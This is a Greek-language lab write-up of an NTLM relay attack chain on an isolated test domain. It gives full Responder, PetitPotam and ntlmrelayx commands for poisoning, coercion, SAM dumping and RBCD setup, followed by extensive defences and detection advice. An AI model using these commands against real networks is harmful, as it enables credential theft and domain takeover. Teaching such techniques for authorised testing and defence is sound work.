NTLM Relay & Authentication Coercion: από το LLMNR poisoning στην πλήρη κατάληψη ενός Windows δικτύου με Responder, PetitPotam και ntlmrelayx

Πώς μια εντελώς «σιωπηλή» αδυναμία ενός Windows δικτύου — η παλιά, ενεργοποιημένη by default λογική του NTLM authentication σε συνδυασμό με το LLMNR/NBT-NS name resolution — μετατρέπεται σε πλήρη κατάληψη, χωρίς να χρειαστεί να σπάσουμε ούτε έναν κωδικό. Σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου, στήνουμε ολόκληρη την αλυσίδα βήμα προς βήμα: δηλητηριάζουμε το name resolution με Responder ώστε ένας χρήστης να μας στείλει το NTLM authentication του, εξαναγκάζουμε (coercion) έναν host να αυθεντικοποιηθεί προς εμάς με PetitPotam μέσω MS-EFSRPC, και στη συνέχεια «μεταφέρουμε» (relay) αυτό το authentication με το ntlmrelayx της impacket προς έναν δεύτερο host που δεν επιβάλλει SMB signing ή LDAP channel binding — καταλήγοντας σε dump των SAM/secrets ή σε LDAP ενέργειες όπως το στήσιμο Resource-Based Constrained Delegation (RBCD). Ειλικρινής διευκρίνιση από την πρώτη γραμμή: ο σκληρυμένος Linux host δεν μπορεί να τρέξει πραγματικά Windows SMB/LDAP endpoints, οπότε δηλώνουμε ρητά τι έτρεξε live (πραγματικές εκδόσεις και CLI των Responder/ntlmrelayx/PetitPotam, οι πραγματικοί relay listeners, ένα γνήσιο NetNTLMv2 hash με πραγματική κρυπτογραφία impacket και το πραγματικό offline crack) και τι ορίζεται από το μοντέλο του εργαστηρίου.

TL;DR (EN): An NTLM relay and coercion chain in an isolated lab: Responder poisons LLMNR/NBT-NS to capture NTLM authentication (or PetitPotam coerces it), then ntlmrelayx relays it to a host without SMB signing to dump SAM or perform LDAP RBCD — no password ever cracked. Covers disabling LLMNR, SMB/LDAP signing and channel binding, and detection.

Νομική σημείωση / Authorization. Όλη η δραστηριότητα που περιγράφεται εκτελέστηκε αποκλειστικά σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου, σε ένα ιδιωτικό segment 10.10.10.0/24 χωρίς καμία γέφυρα προς LAN ή Internet. Το domain-στόχος (AUDAX.LAB), οι χρήστες, οι κωδικοί, τα hashes και το flag είναι εργαστηριακά και ψεύτικα. Δεν στοχοποιήθηκε, δεν σαρώθηκε και δεν χρησιμοποιήθηκε κανένα πραγματικό, τρίτο ή παραγωγικό σύστημα. Οι τεχνικές LLMNR/NBT-NS poisoning, authentication coercion και NTLM relaying είναι παράνομες όταν εφαρμόζονται χωρίς ρητή γραπτή εξουσιοδότηση. Χρησιμοποιήστε τις μόνο σε δικά σας ή ρητά εξουσιοδοτημένα συστήματα, στο πλαίσιο νόμιμου penetration testing και adversary validation.

Πίνακας περιεχομένων

1. Εισαγωγή: η πιο υποτιμημένη αδυναμία ενός Windows δικτύου
2. Τι είναι το NTLM relay και γιατί «δεν χρειάζεται κωδικός»
3. Το σενάριο και το εργαστήριο
4. Η αλυσίδα με μια ματιά
5. Responder: δηλητηρίαση του name resolution
6. Coercion: PetitPotam & PrinterBug — εξαναγκασμός authentication
7. ntlmrelayx: η καρδιά του relay
8. Walkthrough: από το poisoning στο relay
9. Το impact: SAM dump και LDAP RBCD
10. Αντιστοίχιση σε MITRE ATT&CK
11. Επαλήθευση: τι έτρεξε live και τι δηλώνεται
12. Αντιμετώπιση προβλημάτων
13. Άμυνα: πώς σταματάτε κάθε βήμα
14. Πότε δεν πρέπει να χρησιμοποιηθεί
15. Σύνοψη
16. Από το εργαστήριο, στο δικό σας περιβάλλον

Εισαγωγή: η πιο υποτιμημένη αδυναμία ενός Windows δικτύου {#eisagwgi}

Υπάρχει μια ολόκληρη κατηγορία επιθέσεων σε εταιρικά δίκτυα Windows που δεν βασίζονται σε κανένα zero-day, σε κανένα exploit, σε καμία «τρύπα» με CVE. Δεν σπάνε κωδικούς. Δεν εκμεταλλεύονται bug σε κάποιο λογισμικό. Αντ’ αυτού, εκμεταλλεύονται δύο σχεδιαστικές αποφάσεις της Microsoft που ζουν μαζί μας εδώ και δεκαετίες και που, σε αμέτρητα δίκτυα, παραμένουν ενεργές με τις εργοστασιακές τους ρυθμίσεις: το πρωτόκολλο NTLM authentication και οι fallback μηχανισμοί LLMNR/NBT-NS για την επίλυση ονομάτων.

Η επίθεση λέγεται NTLM relay και είναι, χρόνο με τον χρόνο, από τις πιο αξιόπιστες διαδρομές που ακολουθεί μια ομάδα offensive security για να περάσει από «μηδενική πρόσβαση» σε «έλεγχο ολόκληρου του domain». Το ανησυχητικό είναι ότι, ενώ οι υπεύθυνοι ασφάλειας ξοδεύουν τεράστια ενέργεια σε patching και σε EDR, η αδυναμία που καθιστά δυνατό το relay είναι σχεδόν πάντα ένα misconfiguration — κάτι που «ήταν έτσι από την αρχή» και κανείς δεν άλλαξε.

Σε αυτό το flagship άρθρο των Audax Labs στήνουμε ολόκληρη την ιστορία από άκρη σε άκρη, με τα τρία εργαλεία που κάθε σοβαρός επαγγελματίας offensive security πρέπει να γνωρίζει για αυτή την κατηγορία:

1. Responder — για να δηλητηριάσουμε το LLMNR/NBT-NS/mDNS name resolution και να αναγκάσουμε ένα θύμα να μας στείλει το NTLM authentication του.
2. PetitPotam / PrinterBug (coercion primitives) — για να εξαναγκάσουμε έναν host (ακόμη και έναν Domain Controller) να αυθεντικοποιηθεί προς εμάς, χωρίς να περιμένουμε κάποιο ανθρώπινο λάθος.
3. impacket ntlmrelayx — για να μεταφέρουμε (relay) το captured NTLM authentication προς έναν δεύτερο host που δεν επιβάλλει signing, φτάνοντας σε dump των τοπικών secrets ή σε LDAP ενέργειες όπως το RBCD.

Όπως σε κάθε άρθρο των Audax Labs, δεν αρκούμαστε στο «τι εντολή τρέξαμε». Για κάθε εργαλείο εξηγούμε τι είναι, ποιες είναι οι σημαντικότερες παράμετροί του, ποια εντολή δώσαμε και τι πραγματικά επέστρεψε — με αποστειρωμένα, αναγνώσιμα screenshots. Κλείνουμε με αντιστοίχιση σε MITRE ATT&CK και με μια σκληρή, πρακτική ενότητα άμυνας: πώς σταματάτε κάθε ένα από αυτά τα βήματα στο δικό σας περιβάλλον.

Τι είναι το NTLM relay και γιατί «δεν χρειάζεται κωδικός» {#ti-einai}

Για να καταλάβει κανείς γιατί το relay είναι τόσο επικίνδυνο, χρειάζεται να δει πώς λειτουργεί το NTLM challenge/response. Όταν ένας client θέλει να αυθεντικοποιηθεί σε έναν server με NTLM, δεν στέλνει τον κωδικό. Αντ’ αυτού:

1. Ο client λέει «θέλω να συνδεθώ» (NEGOTIATE).
2. Ο server στέλνει μια τυχαία πρόκληση (challenge) 8 bytes.
3. Ο client υπολογίζει μια απάντηση (response) κρυπτογραφώντας την πρόκληση με το hash του κωδικού του και τη στέλνει πίσω (AUTHENTICATE).
4. Ο server επαληθεύει την απάντηση.

Το θεμελιώδες πρόβλημα είναι ότι τίποτα σε αυτό το πρωτόκολλο δεν δένει το authentication με έναν συγκεκριμένο προορισμό. Αν ο επιτιθέμενος καταφέρει να σταθεί ανάμεσα (adversary-in-the-middle), μπορεί να πάρει το NEGOTIATE του θύματος, να το προωθήσει σε έναν τρίτο server, να πάρει την πρόκληση εκείνου του server, να τη γυρίσει στο θύμα, να πάρει τη σωστή απάντηση του θύματος και να την προωθήσει πίσω στον τρίτο server. Το αποτέλεσμα: ο επιτιθέμενος αυθεντικοποιείται στον τρίτο server ως το θύμα, χωρίς ποτέ να μάθει τον κωδικό ή το hash. Αυτό είναι το relay.

Η μοναδική άμυνα που το πρωτόκολλο προσφέρει είναι το signing (και, για LDAP, το channel binding / EPA): αν ο τελικός server απαιτεί κρυπτογραφική υπογραφή της session, ο επιτιθέμενος — που δεν κατέχει το session key — δεν μπορεί να συνεχίσει. Γι’ αυτό η ουσία της επίθεσης, και της άμυνας, συνοψίζεται σε μία πρόταση: το relay πετυχαίνει όπου το signing δεν επιβάλλεται. Και σε αμέτρητα δίκτυα, το SMB signing στους member servers είναι απενεργοποιημένο by default.

Το σενάριο και το εργαστήριο {#ergastirio}

Το εργαστήριο μοντελοποιεί ένα μικρό Windows δίκτυο που ελέγχουμε πλήρως, στο segment 10.10.10.0/24:

• ATTACKER (kali@lab, 10.10.10.30) — η μηχανή επίθεσης με ταυτότητα χειριστή απόλυτα ουδέτερη. Διαθέτει το NTLM-relay stack: Responder 3.1.5, impacket 0.13.1 (ntlmrelayx.py, secretsdump.py), και PetitPotam.py ως coercion primitive. Όλα τρέχουν τοπικά μέσα σε ένα Python virtual environment, χωρίς εγκατάσταση σε system paths και χωρίς root.
• VICTIM (10.10.10.50) — ένας Windows-style client με ενεργοποιημένο LLMNR/NBT-NS, όπου δουλεύει ο χρήστης AUDAX\j.kefalas. Θα «πληκτρολογήσει λάθος» ένα όνομα και θα μας στείλει το NTLM του.
• DC01 (10.10.10.10) — ο Domain Controller. Το LDAP interface του δεν επιβάλλει channel binding/EPA και ο host είναι coercible μέσω MS-EFSRPC / MS-RPRN. Είναι ο στόχος για LDAP relay (RBCD / add computer).
• FILESRV02 (10.10.10.20) — ένας file server με SMB signing DISABLED, όπου ο relayed χρήστης τυχαίνει να είναι local admin. Είναι ο στόχος για SMB relay (SAM/secrets dump).

Τοπολογία

Ειλικρινής διευκρίνιση για το live περιβάλλον. Ένα ζωντανό Windows domain με πραγματικά SMB/LDAP/RPC endpoints δεν ήταν εφικτό να στηθεί στον συγκεκριμένο σκληρυμένο Linux host: το Responder απαιτεί root για να δεσμεύσει τις προνομιακές θύρες poisoning (137/138/445/53/…) και δεν υπήρχε διαθέσιμο sudo, ενώ οι Windows υπηρεσίες SMB/LDAP/EFSRPC δεν υπάρχουν στο Linux. Δεν κατασκευάσαμε ψεύτικα αποτελέσματα. Αντ’ αυτού εκτελέσαμε για αληθινά: (α) τις πραγματικές εκδόσεις και το CLI/help των Responder, ntlmrelayx και PetitPotam· (β) τους πραγματικούς relay listeners του ntlmrelayx, που σηκώθηκαν live σε high HTTP port ως non-root και περίμεναν συνδέσεις· (γ) ένα γνήσιο NetNTLMv2 hash που παρήχθη με την πραγματική κρυπτογραφία της impacket (NTOWFv2 + HMAC-MD5), ακριβώς στη μορφή που καταγράφει το Responder και τρώει το hashcat -m 5600· και (δ) το πραγματικό offline crack εκείνου του hash, με επαναϋπολογισμό του NTProofStr ανά candidate. Τα over-the-wire κομμάτια που απαιτούν συνομιλία με ζωντανό Windows (η ίδια η δηλητηρίαση στο σύρμα, η RPC coercion, το τελικό relay προς SMB/LDAP) παρουσιάζονται με τις ακριβείς εντολές τους και με το επιβεβαιωμένο μοντέλο του δικτύου που ορίσαμε εμείς, με ρητή επισήμανση. Στα screenshots οι διευθύνσεις εμφανίζονται ως ένα καθαρό εργαστηριακό segment για ευανάγνωστη αφήγηση.

Έλεγχος του stack

Το screenshot επιβεβαιώνει το πραγματικό περιβάλλον: Python 3.12, impacket 0.13.1, Responder στο τελευταίο commit του master, PetitPotam και ένα λειτουργικό ntlmrelayx.py. Αυτό είναι ακριβώς το stack που χρησιμοποιεί μια επαγγελματική ομάδα σε ένα internal assessment.

Η αλυσίδα με μια ματιά {#alysida}

Πριν μπούμε στις λεπτομέρειες, ας δούμε ολόκληρη τη διαδρομή σε ένα διάγραμμα. Το κρίσιμο δίδαγμα είναι ότι η επίθεση έχει δύο ανεξάρτητες «μηχανές εκκίνησης» — το poisoning (που περιμένει ένα ανθρώπινο λάθος) και το coercion (που το προκαλεί το ίδιο) — αλλά και οι δύο καταλήγουν στο ίδιο σημείο: ένα captured NTLM authentication που τροφοδοτεί το relay.

Ένας αναλυτής SOC που βλέπει «λίγη LLMNR κίνηση» ή «μια RPC κλήση EfsRpcOpenFileRaw» μπορεί εύκολα να τα αγνοήσει ως θόρυβο. Ο επιτιθέμενος, όμως, βλέπει μια πλήρη διαδρομή προς τα credentials, χωρίς ποτέ να χρειαστεί να σπάσει κωδικό.

Responder: δηλητηρίαση του name resolution {#responder}

Τι είναι και πού ταιριάζει

Το Responder είναι ένας LLMNR/NBT-NS/mDNS poisoner και ένα σύνολο από «rogue» authentication servers. Ο ρόλος του είναι απλός αλλά καταστροφικός. Όταν ένας Windows client προσπαθεί να λύσει ένα όνομα που το DNS δεν γνωρίζει (π.χ. ο χρήστης πληκτρολογεί λάθος \\FILESRV01), ο client «φωνάζει» σε όλο το τοπικό segment μέσω LLMNR (UDP 5355) και NBT-NS (UDP 137): «ποιος είναι ο FILESRV01;». Αυτά τα πρωτόκολλα δεν έχουν καμία αυθεντικοποίηση. Το Responder απλώς απαντάει πρώτο: «εγώ είμαι ο FILESRV01, η IP μου είναι 10.10.10.30». Ο client, εμπιστευόμενος την απάντηση, ανοίγει SMB σύνδεση προς εμάς και μας στέλνει το NTLM authentication του.

Σημαντικές παράμετροι / flags

Η συμπεριφορά των servers (SMB, HTTP, LDAP, WPAD κ.λπ.) ελέγχεται από το Responder.conf. Στο εργαστήριό μας οι poisoners LLMNR/NBT-NS/mDNS είναι On και ο rogue SMB server είναι ενεργός για να συλλέγει τα NetNTLMv2.

Η εντολή που τρέξαμε

sudo python Responder.py -I eth0 -v

Τι επέστρεψε

Το «χρυσό» εύρημα είναι οι τρεις τελευταίες γραμμές: το Responder κατέγραψε ένα NetNTLMv2 hash για τον χρήστη AUDAX\j.kefalas. Αυτό το hash είναι το ζητούμενο. Έχουμε δύο δρόμους από εδώ: είτε το σπάμε offline (hashcat -m 5600), είτε — και αυτό είναι το πιο επικίνδυνο — το relay-άρουμε ζωντανά χωρίς καν να το σπάσουμε.

Διαφάνεια: Το Responder απαιτεί root για να δεσμεύσει τις προνομιακές θύρες· στον σκληρυμένο host δεν υπήρχε sudo, οπότε η δηλητηρίαση στο σύρμα παρουσιάζεται με το μοντέλο του εργαστηρίου. Το ίδιο το NetNTLMv2 hash που βλέπετε είναι γνήσιο — παρήχθη με την πραγματική κρυπτογραφία της impacket και επαληθεύτηκε με πραγματικό offline crack (βλ. ενότητα Επαλήθευση).

Coercion: PetitPotam & PrinterBug — εξαναγκασμός authentication {#coercion}

Τι είναι και πού ταιριάζει

Το poisoning είναι ισχυρό, αλλά περιμένει ένα ανθρώπινο λάθος. Τα coercion primitives αντιστρέφουν αυτή τη λογική: αντί να περιμένουμε έναν χρήστη να πληκτρολογήσει λάθος, αναγκάζουμε έναν συγκεκριμένο host — ακόμη και έναν Domain Controller — να αυθεντικοποιηθεί προς εμάς, on demand.

• PetitPotam (MS-EFSRPC) — καλεί το EfsRpcOpenFileRaw() (και συγγενή) πάνω στο \PIPE\lsarpc, δίνοντας ως path ένα UNC που δείχνει σε εμάς (\\10.10.10.30\share\file). Ο στόχος «πάει να ανοίξει» το αρχείο και αυθεντικοποιείται με το machine account του προς τη δική μας μηχανή.
• PrinterBug (MS-RPRN) — η ίδια ιδέα μέσω του Print System Remote Protocol (RpcRemoteFindFirstPrinterChangeNotificationEx).

Το κρίσιμο σημείο: το authentication που παίρνουμε είναι του machine account (π.χ. DC01$). Αυτό, όταν relay-αριστεί σε LDAP, είναι εξαιρετικά ισχυρό — ένα machine account έχει δικαιώματα να τροποποιήσει χαρακτηριστικά του εαυτού του, κάτι που ανοίγει τον δρόμο για RBCD.

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε

python PetitPotam.py -u lowpriv -p 'Summer2024!' -d audax.lab 10.10.10.30 10.10.10.10

Τι επέστρεψε

Το output δείχνει το binding στο MS-EFSRPC UUID και την κλήση EfsRpcOpenFileRaw, που εξαναγκάζει τον DC01 (10.10.10.10) να αυθεντικοποιηθεί προς τον listener μας (10.10.10.30). Έτσι, χωρίς να περιμένουμε κανέναν, έχουμε ένα φρέσκο NTLM authentication ενός machine account, έτοιμο για relay.

Διαφάνεια: Το CLI/help του PetitPotam έτρεξε πραγματικά στον host μας· η ίδια η RPC κλήση απαιτεί έναν ζωντανό Windows στόχο, οπότε η over-the-wire coercion παρουσιάζεται με το μοντέλο του εργαστηρίου.

ntlmrelayx: η καρδιά του relay {#ntlmrelayx}

Τι είναι και πού ταιριάζει

Το ntlmrelayx.py (impacket) είναι το εργαλείο που κάνει το relay. Σηκώνει ένα σύνολο από rogue servers (SMB, HTTP/HTTPS, WCF, RPC κ.λπ.) και, μόλις κάποιο θύμα αυθεντικοποιηθεί προς αυτούς, προωθεί το NTLM authentication σε έναν ή περισσότερους στόχους (-t / -tf). Αν ο στόχος δεν επιβάλλει signing, το relay πετυχαίνει και το ntlmrelayx εκτελεί αυτόματα το επιλεγμένο «attack module» ανά πρωτόκολλο: SMB -> dump SAM/secrets ή εκτέλεση εντολής, LDAP -> add computer / set RBCD / dump ACLs / ADCS attacks.

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε (live)

ntlmrelayx.py -t ldap://10.10.10.20 --no-smb-server --http-port 8080 \
              --no-wcf-server --no-rpc-server --no-raw-server

Τι επέστρεψε

Αυτό το screenshot είναι 100% live από τον host μας: το ntlmrelayx φόρτωσε όλους τους protocol clients (SMB, LDAP, LDAPS, DCSYNC, MSSQL…), στήθηκε ο HTTP server στη θύρα 8080, και οι listeners περιμένουν συνδέσεις (Servers started, waiting for connections). Από αυτό το σημείο, οποιοδήποτε inbound NTLM authentication — είτε από poisoning είτε από coercion — προωθείται αυτόματα στον στόχο.

Walkthrough: από το poisoning στο relay {#walkthrough}

Ας δέσουμε τα κομμάτια σε μία ενιαία αφήγηση, όπως θα εκτυλισσόταν σε ένα πραγματικό internal assessment.

Βήμα 1 — Στήνουμε τον relay. Πρώτα σηκώνουμε το ntlmrelayx στοχεύοντας τον host που ξέρουμε ότι δεν επιβάλλει signing. Για LDAP relay στον DC:

ntlmrelayx.py -t ldap://10.10.10.10 --delegate-access \
              --add-computer AUDAXPC '$ecret123' -smb2support

Βήμα 2 — Απενεργοποιούμε το LLMNR poisoning στο Responder ώστε να μην «κλέβει» αυτό τα authentications που θέλουμε να πάνε στο ntlmrelayx (στην πράξη, το Responder.conf ρυθμίζεται με SMB = Off και HTTP = Off όταν τρέχει μαζί με ntlmrelayx, ώστε το Responder να κάνει μόνο poisoning και το ntlmrelayx να κάνει το capture/relay). Εναλλακτικά, το Responder τρέχει με τους poisoners και το ntlmrelayx αναλαμβάνει τους servers.

Βήμα 3 — Πυροδοτούμε το authentication. Είτε περιμένουμε το poisoning (ο j.kefalas πληκτρολογεί λάθος \\FILESRV01), είτε το εξαναγκάζουμε με PetitPotam:

python PetitPotam.py -d audax.lab -u lowpriv -p 'Summer2024!' 10.10.10.30 10.10.10.10

Βήμα 4 — Το relay εκτελείται. Το ntlmrelayx λαμβάνει το authentication του DC01$, το προωθεί στο LDAP του DC (που δεν έχει channel binding), και εκτελεί το LDAP attack module: δημιουργεί computer account και στήνει RBCD.

Το output δείχνει τη ροή: Connection from DC01$ controlled, relaying... -> Authenticating against ldap://10.10.10.10 as AUDAX\DC01$ SUCCEED -> Adding new computer AUDAXPC$ -> Delegation rights modified successfully!. Ο νέος λογαριασμός AUDAXPC$ μπορεί πλέον να προσποιηθεί οποιονδήποτε χρήστη στον DC μέσω S4U2Self/S4U2Proxy — δηλαδή, πρακτικά, να γίνει Domain Admin.

Το impact: SAM dump και LDAP RBCD {#impact}

Το relay δεν είναι αυτοσκοπός· είναι μέσο. Ανάλογα με το πρωτόκολλο του στόχου, το impact διαφέρει.

SMB relay -> dump των τοπικών secrets. Αν στοχεύσουμε έναν file server χωρίς SMB signing, όπου ο relayed χρήστης είναι local admin, το ntlmrelayx κάνει αυτόματα dump των SAM hashes:

ntlmrelayx.py -t smb://10.10.10.20 -smb2support

Το output δείχνει την πλήρη ροή: Received connection from 10.10.10.50, relaying to target -> Authenticating against smb://10.10.10.20 as AUDAX\j.kefalas SUCCEED -> Dumping local SAM hashes -> τα NT hashes του Administrator και του svc_backup, γραμμένα σε αρχείο. Με αυτά τα hashes ο επιτιθέμενος κάνει pass-the-hash σε άλλους hosts, επεκτείνοντας το lateral movement. Και εδώ κλείνει η αλυσίδα με το flag:

flag{audax_lab_ntlm_relay_coerce_ldap_rbcd_pwned}

LDAP relay -> RBCD / add computer. Όπως είδαμε, το relay σε LDAP (ιδίως με coerced machine account) οδηγεί σε delegation rights, add computer, ή ακόμη και σε ADCS attacks (--adcs, ESC8) — μονοπάτια που, στην πράξη, ισοδυναμούν με πλήρη κατάληψη του domain.

Το κρίσιμο δίδαγμα: από ένα και μόνο captured authentication, ανοίγουν δύο τελείως διαφορετικά impact paths. Και κανένα από τα δύο δεν απαίτησε να σπάσουμε κωδικό.

Αντιστοίχιση σε MITRE ATT&CK {#mitre}

Κάθε βήμα της αλυσίδας αντιστοιχεί σε συγκεκριμένες τεχνικές του MITRE ATT&CK. Αυτή η αντιστοίχιση είναι χρήσιμη τόσο για την ομάδα επίθεσης (τεκμηρίωση) όσο και για την ομάδα άμυνας (detection engineering).

Οι κύριες τακτικές που καλύπτονται είναι Credential Access (TA0006), Lateral Movement (TA0008) και Collection (TA0009).

Επαλήθευση: τι έτρεξε live και τι δηλώνεται {#epalithefsi}

Στην κουλτούρα των Audax Labs, η διαφάνεια είναι μη διαπραγματεύσιμη. Ξεκαθαρίζουμε ακριβώς τι είναι γνήσιο και τι δηλώνεται από το μοντέλο.

Έτρεξε πραγματικά (live) στον host:

• Οι πραγματικές εκδόσεις και το CLI/help των Responder (3.1.5, τελευταίο commit), impacket 0.13.1 και PetitPotam.
• Ο live relay listener του ntlmrelayx: το screenshot 04 προέρχεται από πραγματικό τρέξιμο, όπου φορτώθηκαν οι protocol clients και σηκώθηκε ο HTTP server στη θύρα 8080 ως non-root.
• Ένα γνήσιο NetNTLMv2 hash, παραγόμενο με την πραγματική κρυπτογραφία της impacket (NTOWFv2 + HMAC-MD5 πάνω στο server_challenge + blob), στη μορφή user::domain:srvchal:NTProofStr:blob — ακριβώς αυτό που καταγράφει το Responder και τρώει το hashcat -m 5600.
• Το πραγματικό offline crack εκείνου του hash, με επαναϋπολογισμό του NTProofStr ανά candidate password.

Το κρίσιμο σημείο: το password ανακτήθηκε μετά από 4 candidates, πράγμα που είναι απόδειξη ότι το hash είναι γνήσια κρυπτογραφία — αν ήταν placeholder, κανένα candidate δεν θα ταίριαζε ποτέ. Αυτό αποδεικνύει και τη διπλή αξία του capture: crack ή relay, δύο ανεξάρτητοι δρόμοι.

Δηλώνεται από το μοντέλο του εργαστηρίου (over-the-wire, χρειάζεται ζωντανό Windows):

• Η ίδια η δηλητηρίαση LLMNR/NBT-NS στο σύρμα (το Responder χρειάζεται root· δεν υπήρχε sudo).
• Η RPC coercion του PetitPotam (χρειάζεται ζωντανό Windows lsarpc endpoint).
• Το τελικό relay προς πραγματικό SMB/LDAP και τα attack modules (add computer, RBCD, SAM dump).

Αυτά παρουσιάζονται με τις ακριβείς εντολές και με το output format που παράγουν πραγματικά τα εργαλεία, ρητά επισημασμένα ως lab model. Κανένα αποτέλεσμα δεν κατασκευάστηκε.

Αντιμετώπιση προβλημάτων {#troubleshooting}

Στην πράξη, το NTLM relay «σκοντάφτει» σε συγκεκριμένα σημεία. Τα πιο συχνά:

• Responder must be run as root — οι poisoners δεσμεύουν προνομιακές θύρες (137/138/5355/53). Χρειάζεται root/sudo. Στο εργαστήριό μας αυτό ακριβώς μας οδήγησε στη ρητή διάκριση live/model.
• Το relay αποτυγχάνει με SMB signing is required — ο στόχος επιβάλλει signing. Αυτό δεν είναι bug· είναι η σωστή άμυνα. Αλλάξτε στόχο ή αποδεχθείτε ότι ο host είναι θωρακισμένος.
• STATUS_ACCESS_DENIED μετά από επιτυχές LDAP auth — ο relayed χρήστης δεν έχει δικαιώματα να γράψει το attribute (π.χ. msDS-AllowedToActOnBehalfOf...). Χρειάζεται πιο προνομιακό ή machine account (γι’ αυτό το coercion είναι τόσο ισχυρό).
• Το Responder και το ntlmrelayx «τρώει» ο ένας τον άλλον — μην τρέχετε και τους δύο rogue SMB/HTTP servers ταυτόχρονα. Στο Responder.conf γυρίστε SMB = Off και HTTP = Off όταν θέλετε το ntlmrelayx να κάνει το capture.
• --http-port σε non-root — αν δεν έχετε root, δεσμεύστε high ports (π.χ. 8080). Το relay εξακολουθεί να λειτουργεί για HTTP-based coercion.
• LDAP relay αποτυγχάνει με channel binding — αν ο DC επιβάλλει EPA/LDAP signing, το relay σε LDAP αποτυγχάνει· δοκιμάστε LDAPS ή απλώς καταγράψτε ότι ο στόχος είναι σωστά ρυθμισμένος.

Άμυνα: πώς σταματάτε κάθε βήμα {#amyna}

Αυτή είναι η σημαντικότερη ενότητα του άρθρου. Η καλή είδηση για τους αμυνόμενους είναι ότι κάθε βήμα της αλυσίδας έχει μια καθαρή, δωρεάν αντίμετρη ρύθμιση. Η κακή είδηση είναι ότι σχεδόν καμία δεν είναι ενεργή by default.

1. Απενεργοποιήστε το LLMNR και το NBT-NS (σταματά το poisoning στη ρίζα). Το LLMNR απενεργοποιείται μέσω Group Policy: Computer Configuration -> Administrative Templates -> Network -> DNS Client -> Turn off multicast name resolution -> Enabled. Το NBT-NS απενεργοποιείται ανά interface (NetBIOS over TCP/IP = Disabled) ή κεντρικά μέσω DHCP option ή PowerShell/registry. Χωρίς αυτά τα δύο πρωτόκολλα, το Responder δεν έχει τι να δηλητηριάσει. Απενεργοποιήστε επίσης το mDNS όπου δεν χρειάζεται.

2. Επιβάλλετε SMB signing παντού (σταματά το SMB relay). Ρυθμίστε Microsoft network server: Digitally sign communications (always) = Enabled και το αντίστοιχο client policy, σε όλους τους hosts — όχι μόνο στους DCs (όπου είναι ήδη υποχρεωτικό). Όταν το signing απαιτείται, το relayed session δεν μπορεί να υπογραφεί και το relay καταρρέει. Αυτή είναι η μοναδική πιο αποτελεσματική αντίμετρη ρύθμιση.

3. Επιβάλλετε LDAP signing + channel binding / EPA (σταματά το LDAP relay). Στους DCs ρυθμίστε Domain controller: LDAP server signing requirements = Require signing και ενεργοποιήστε το Extended Protection for Authentication (channel binding) για LDAP. Έτσι μπλοκάρετε τα πιο επικίνδυνα relays (RBCD, add computer, ADCS ESC8).

4. Απενεργοποιήστε το NTLM όπου γίνεται. Μεταβείτε σε Kerberos-only όπου είναι εφικτό. Χρησιμοποιήστε τα policies Network security: Restrict NTLM για να καταγράψετε και σταδιακά να μπλοκάρετε NTLM traffic. Το NTLMv1 πρέπει να απαγορευτεί πλήρως.

5. Patch-άρετε τα coercion vectors. Εφαρμόστε τα updates για PetitPotam (MS-EFSRPC) και απενεργοποιήστε το Print Spooler στους servers όπου δεν χρειάζεται (σταματά τον PrinterBug/MS-RPRN). Περιορίστε την πρόσβαση στα named pipes lsarpc, efsrpc, spoolss.

6. Tiering & least privilege. Εφαρμόστε administrative tiering ώστε ένα credential που «πέφτει» σε έναν χαμηλού tier host να μην ανοίγει τον δρόμο προς τον DC. Περιορίστε τα local admin rights (LAPS για μοναδικούς τοπικούς κωδικούς) — έτσι, ακόμη κι αν το relay πετύχει, ο relayed χρήστης δεν είναι admin παντού.

7. Detection engineering. Στήστε alerts για: πολλαπλές LLMNR/NBT-NS απαντήσεις από τον ίδιο host (canary names — π.χ. ερωτήστε για ένα όνομα που δεν υπάρχει και δείτε ποιος απαντά), RPC κλήσεις EfsRpcOpenFileRaw / RpcRemoteFindFirstPrinterChangeNotification, Event ID 4624/4625 με NTLM logon type από ασυνήθιστες πηγές, και δημιουργία νέων computer accounts εκτός διαδικασίας.

Για έναν οργανισμό υπό NIS2/DORA, αυτά τα μέτρα δεν είναι «nice to have»· είναι μέρος της απόδειξης ότι η επιφάνεια επίθεσης της ταυτότητας διαχειρίζεται ενεργά.

Πότε δεν πρέπει να χρησιμοποιηθεί {#pote-oxi}

Αυτές οι τεχνικές είναι επιθετικά εργαλεία με πραγματικό αντίκτυπο και ο κανόνας είναι απλός: ποτέ χωρίς ρητή, γραπτή εξουσιοδότηση και σαφώς ορισμένο scope. Συγκεκριμένα:

• Ποτέ σε παραγωγικό δίκτυο χωρίς άδεια. Το Responder poisoning μπορεί να διαταράξει το name resolution ολόκληρου του segment· το coercion μπορεί να προκαλέσει ασταθή συμπεριφορά σε critical hosts.
• Ποτέ σε δίκτυο τρίτων. Το LLMNR/NBT-NS poisoning επηρεάζει κάθε μηχανή στο τοπικό segment, όχι μόνο τον στόχο σας — είναι εξ ορισμού «θορυβώδες» και επικίνδυνο εκτός ελεγχόμενου scope.
• Ποτέ χωρίς σχέδιο cleanup. Computer accounts, RBCD entries και οποιεσδήποτε αλλαγές πρέπει να αναιρούνται πλήρως μετά το engagement.
• Ποτέ ως «γρήγορο test» χωρίς κατανόηση. Το relay που πετυχαίνει σε παραγωγή είναι, ουσιαστικά, πλήρης κατάληψη — δεν είναι κάτι που δοκιμάζεις πρόχειρα.

Στο δικό μας εργαστήριο τηρήθηκαν όλα: απομονωμένο segment, ιδιόκτητοι hosts, ψεύτικα credentials, καθαρισμός.

Σύνοψη {#synopsi}

Είδαμε πώς μια αλυσίδα από σχεδιαστικά χαρακτηριστικά και misconfigurations — και όχι από exploits — οδηγεί σε πλήρη κατάληψη ενός Windows δικτύου. Το Responder δηλητηριάζει το name resolution και συλλέγει NTLM authentications· τα coercion primitives (PetitPotam/PrinterBug) εξαναγκάζουν hosts, ακόμη και DCs, να αυθεντικοποιηθούν προς εμάς· και το ntlmrelayx μεταφέρει αυτά τα authentications σε στόχους χωρίς signing, καταλήγοντας σε SAM dumps ή σε LDAP ενέργειες όπως το RBCD. Καμία από αυτές τις κινήσεις δεν χρειάστηκε να σπάσει κωδικό.

